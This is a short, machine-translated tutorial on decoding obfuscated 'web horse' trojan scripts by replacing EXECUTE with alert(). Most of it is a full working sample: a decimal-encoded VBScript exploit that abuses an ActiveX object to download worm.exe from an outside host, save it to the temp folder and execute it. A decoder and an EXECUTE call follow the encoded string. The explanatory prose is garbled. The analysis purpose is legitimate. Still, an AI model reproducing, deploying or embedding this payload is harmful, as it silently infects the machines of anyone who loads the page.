Getting Started with JS Decryption Final Variable Hijacking_javascript Tips

The following is a piece of net horse




Friends who have seen my previous articles should know that the first ones are in decimal, and the intuitive solution is enough, but there is a solution below Function, after you decrypt it in decimal, you have to analyze the function of the function, which is very uneconomical. Rechange is a processing function. We don’t know the function of this function. It doesn’t matter. We see that there is EXECUTE() at the end, indicating that this is the execution function. The execution content is Rechange(Cn911). We change EXECUTE to alert() That's it, that is, change the last line to alert(Rechange(Cn911)).

After the hijacking is completed, open the web page and the decrypted content pops up.

Learning points: For this kind of Internet horse, there must be a final variable or expression in the end, just modify the execution function <script> <BR>Cn911="83,61,34,52,70,54,69,50,48,52,53,55,50,55,50,54,70,55,50,50,48,53,50,54,53,55,51,55,53,54,68,54,53,50,48,52,69,54,53,55,56,55,52,48,68,48,65,52,51,54,69,52,67,53,50,53,53,51,68,50,50,54,56,55,52,55,52,55,48,51,65,50,70,50,70,55,55,55,55,55,55,50,69,54,66,55,50,55,54,54,66,55,50,50,69,54,51,54,70,54,68,50,70,55,55,54,70,55,50,54,68,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,70,54,50,50,48,51,68,50,48,54,52,54,70,54,51,55,53,54,68,54,53,54,69,55,52,50,69,54,51,55,50,54,53,54,49,55,52,54,53,52,53,54,67,54,53,54,68,54,53,54,69,55,52,50,56,50,50,54,70,54,50,50,50,50,54,50,50,54,65,54,53,50,50,50,54,50,50,54,51,50,50,50,54,50,50,55,52,50,50,50,57,48,68,48,65,52,70,54,50,50,69,53,51,54,53,55,52,52,49,55,52,55,52,55,50,54,57,54,50,55,53,55,52,54,53,50,48,50,50,54,51,54,67,54,49,50,50,50,54,50,50,55,51,55,51,54,57,54,52,50,50,50,67,50,48,50,50,54,51,50,50,50,54,50,50,54,67,55,51,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,52,51,65,52,50,52,52,51,57,50,50,50,54,50,50,51,54,52,51,51,53,51,53,50,50,50,54,50,50,51,54,50,68,51,54,51,53,50,50,50,54,50,50,52,49,51,51,50,68,51,49,51,49,52,52,51,48,50,50,50,54,50,50,50,68,51,57,51,56,51,51,52,49,50,68,51,48,51,48,52,51,50,50,50,54,50,50,51,48,51,52,52,54,52,51,51,50,51,57,50,50,50,54,50,50,52,53,51,51,51,54,50,50,48,68,48,65,55,51,52,56,53,52,53,52,53,48,51,68,50,50,52,68,50,50,50,54,50,50,54,57,54,51,50,50,50,54,50,50,55,50,54,70,50,50,50,54,50,50,55,51,50,50,50,54,50,50,54,70,54,54,50,50,50,54,50,50,55,52,50,50,50,54,50,50,50,69,53,56,50,50,50,54,50,50,52,68,50,50,50,54,50,50,52,67,50,50,50,54,50,50,52,56,50,50,50,54,50,50,53,52,53,52,50,50,50,54,50,50,53,48,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,48,54,70,55,48,50,48,51,68,50,48,52,70,54,50,50,69,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,52,56,53,52,53,52,53,48,50,67,50,50,50,50,50,57,48,68,48,65,53,48,54,70,55,48,50,69,52,70,55,48,54,53,54,69,50,48,50,50,52,55,50,50,50,54,50,50,52,53,53,52,50,50,50,67,50,48,52,51,54,69,52,67,53,50,53,53,50,67,50,48,52,54,54,49,54,67,55,51,54,53,48,68,48,65,53,48,54,70,55,48,50,69,53,51,54,53,54,69,54,52,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,54,53,55,56,54,53,50,50,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,50,50,52,51,54,69,50,50,50,54,50,50,51,57,51,49,50,50,50,54,50,50,51,49,50,69,55,54,54,50,55,51,50,50,48,68,48,65,53,51,54,53,55,52,50,48,52,54,53,48,52,57,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,53,51,54,51,55,50,54,57,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,52,54,57,54,69,54,55,50,69,52,54,50,50,50,54,50,50,54,57,50,50,50,54,50,50,54,67,54,53,50,50,50,54,50,50,53,51,55,57,50,50,50,54,50,50,55,51,55,52,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,68,52,70,50,50,50,54,50,50,54,50,54,65,54,53,50,50,50,54,50,50,54,51,55,52,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,51,54,53,55,52,50,48,55,51,53,52,54,68,55,48,50,48,51,68,50,48,52,54,53,48,52,57,50,69,52,55,54,53,55,52,53,51,55,48,54,53,54,51,54,57,54,49,54,67,52,54,54,70,54,67,54,52,54,53,55,50,50,56,51,50,50,57,48,68,48,65,52,53,55,56,54,53,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,57,48,68,48,65,53,54,54,50,55,51,52,69,54,49,54,68,54,53,51,68,52,54,53,48,52,57,50,69,52,50,55,53,54,57,54,67,54,52,53,48,54,49,55,52,54,56,50,56,55,51,53,52,54,68,55,48,50,67,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,57,48,68,48,65,52,49,52,49,51,68,50,50,52,49,50,50,50,54,50,50,54,52,50,50,48,68,48,65,52,49,52,50,51,68,50,50,54,70,50,50,50,54,50,50,54,52,50,50,50,54,50,50,54,50,50,50,50,54,50,50,50,69,50,50,50,54,50,50,55,51,50,50,50,54,50,50,55,52,55,50,54,53,50,50,50,54,50,50,54,49,54,68,50,50,48,68,48,65,52,49,54,52,52,68,51,68,52,49,52,49,50,54,52,49,52,50,48,68,48,65,53,51,54,53,55,52,50,48,52,50,54,52,54,49,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,52,49,54,52,52,68,50,67,50,50,50,50,50,57,48,68,48,65,52,50,54,52,54,49,50,69,55,52,55,57,55,48,54,53,51,68,51,49,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,50,48,53,48,54,70,55,48,50,69,53,50,54,53,55,51,55,48,54,70,54,69,55,51,54,53,52,50,54,70,54,52,55,57,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,52,50,54,52,54,49,50,69,53,52,55,57,55,48,54,53,51,68,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,70,55,48,54,53,54,69,48,68,48,65,52,50,54,52,54,49,50,69,53,55,55,50,54,57,55,52,54,53,53,52,54,53,55,56,55,52,50,48,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,51,55,50,54,53,54,49,55,52,54,53,52,70,54,50,54,65,54,53,54,51,55,52,50,56,50,50,50,50,53,55,55,51,54,51,55,50,54,57,55,48,55,52,50,69,53,51,54,56,54,53,54,67,54,67,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,56,54,53,54,67,54,67,50,69,53,50,55,53,54,69,50,48,50,56,50,50,50,50,50,50,50,54,52,53,55,56,54,53,52,69,54,49,54,68,54,53,50,54,50,50,50,50,50,50,50,57,50,50,50,54,55,54,54,50,52,51,55,50,52,67,54,54,50,54,50,50,53,51,54,53,55,52,50,48,53,51,54,56,54,53,54,67,54,67,50,48,51,68,50,48,52,69,54,70,55,52,54,56,54,57,54,69,54,55,50,50,48,68,48,65,52,50,54,52,54,49,50,69,53,51,54,49,55,54,54,53,55,52,54,70,54,54,54,57,54,67,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,51,50,48,68,48,65,52,50,54,52,54,49,50,69,52,51,54,67,54,70,55,51,54,53,48,68,48,65,55,51,53,50,55,53,54,69,51,68,50,50,53,51,50,50,50,54,50,50,54,56,50,50,50,54,50,50,54,53,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,67,50,50,50,54,50,50,50,69,50,50,50,54,50,50,52,49,50,50,50,54,50,50,55,48,50,50,50,54,50,50,55,48,50,50,50,54,50,50,54,67,50,50,50,54,50,50,54,57,50,50,48,68,48,65,53,51,54,53,55,52,50,48,53,50,55,53,54,69,50,48,51,68,50,48,52,70,54,50,50,69,54,51,55,50,54,53,54,49,55,52,54,53,54,70,54,50,54,65,54,53,54,51,55,52,50,56,55,51,53,50,55,53,54,69,50,54,50,50,54,51,54,49,55,52,54,57,54,70,54,69,50,50,50,67,50,50,50,50,50,57,48,68,48,65,53,50,55,53,54,69,50,69,53,51,54,56,54,53,54,67,54,67,52,53,55,56,54,53,54,51,55,53,55,52,54,53,50,48,53,54,54,50,55,51,52,69,54,49,54,68,54,53,50,67,50,50,50,50,50,67,50,50,50,50,50,67,50,50,52,70,55,48,54,53,54,69,50,50,50,67,51,48,34,58,68,61,34,69,88,69,67,85,84,69,32,34,34,34,34,34,58,67,61,34,38,67,72,82,40,38,72,34,58,78,61,34,41,34,58,68,79,32,87,72,73,76,69,32,76,69,78,40,83,41,62,49,58,73,70,32,73,83,78,85,77,69,82,73,67,40,76,69,70,84,40,83,44,49,41,41,32,84,72,69,78,32,68,61,68,38,67,38,76,69,70,84,40,83,44,50,41,38,78,58,83,61,77,73,68,40,83,44,51,41,32,69,76,83,69,32,68,61,68,38,67,38,76,69,70,84,40,83,44,52,41,38,78,58,83,61,77,73,68,40,83,44,53,41,13,10,76,79,79,80,58,69,88,69,67,85,84,69,32,68" <br><br>'以下是处理的函数 <BR>Function Rechange(Q) <BR>S=Split(Q,",") <BR>Cn922="" <BR>For i = 0 To UBound(S) <BR>Cn922=Cn922&Chr(eval(S(i))) <BR>Next <BR>Rechange=Cn922 <BR>End Function <br><br>'执行这个代码 <BR>EXECUTE(Rechange(Cn911)) <BR></script>